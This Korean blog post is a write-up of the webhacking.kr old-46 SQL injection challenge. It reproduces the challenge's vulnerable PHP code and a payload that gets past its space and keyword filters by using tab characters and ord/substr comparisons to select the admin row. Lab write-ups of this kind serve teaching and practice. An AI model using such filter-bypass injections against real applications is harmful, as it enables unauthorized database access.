Web/webhacking.kr

Webhacking.kr old-46

cloudnaaam 2025. 5. 6. 21:42

 

SQL injection 문제다.

 

<?php
  
include "../../config.php";
  if(
$_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  
if($_GET['lv']){
    
$db dbconnect();
    
$_GET['lv'] = addslashes($_GET['lv']);
    
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
    
$_GET['lv'] = str_replace("/","",$_GET['lv']);
    
$_GET['lv'] = str_replace("*","",$_GET['lv']);
    
$_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(
preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    
$result mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if(
$result){
      echo(
"{$result['id']} information<br><br>money : {$result['cash']}");
      if(
$result['id'] == "admin"solve(46);
    }
  }
?>
</body>
</html>

 

코드는 이렇다.

 

처음에는 그냥 lv 1000까지 brute force 갈겼는데 안풀리더라.

엄청 뒷번호인가보다.

 

그래서 저 필터링을 모두 우회할 쿼리를 짰다.

 

0%09or%09ord(substr(id,1,1))=97%09and%09ord(substr(id,2,1))=100;--%09-

 

한 글자씩만 맞추면 다른 계정이랑 다 겹치길래 'ad' 까지만 맞춰서 넣었다.

 

 

풀었다!

'Web > webhacking.kr' 카테고리의 다른 글

Webhacking.kr old-21  (0) 2025.05.07
Webhacking.kr RPG-1  (1) 2025.05.07
Webhacking.kr old-47  (0) 2025.05.06
Webhacking.kr old-25  (0) 2025.05.06
Webhacking.kr challenge-19  (0) 2025.04.23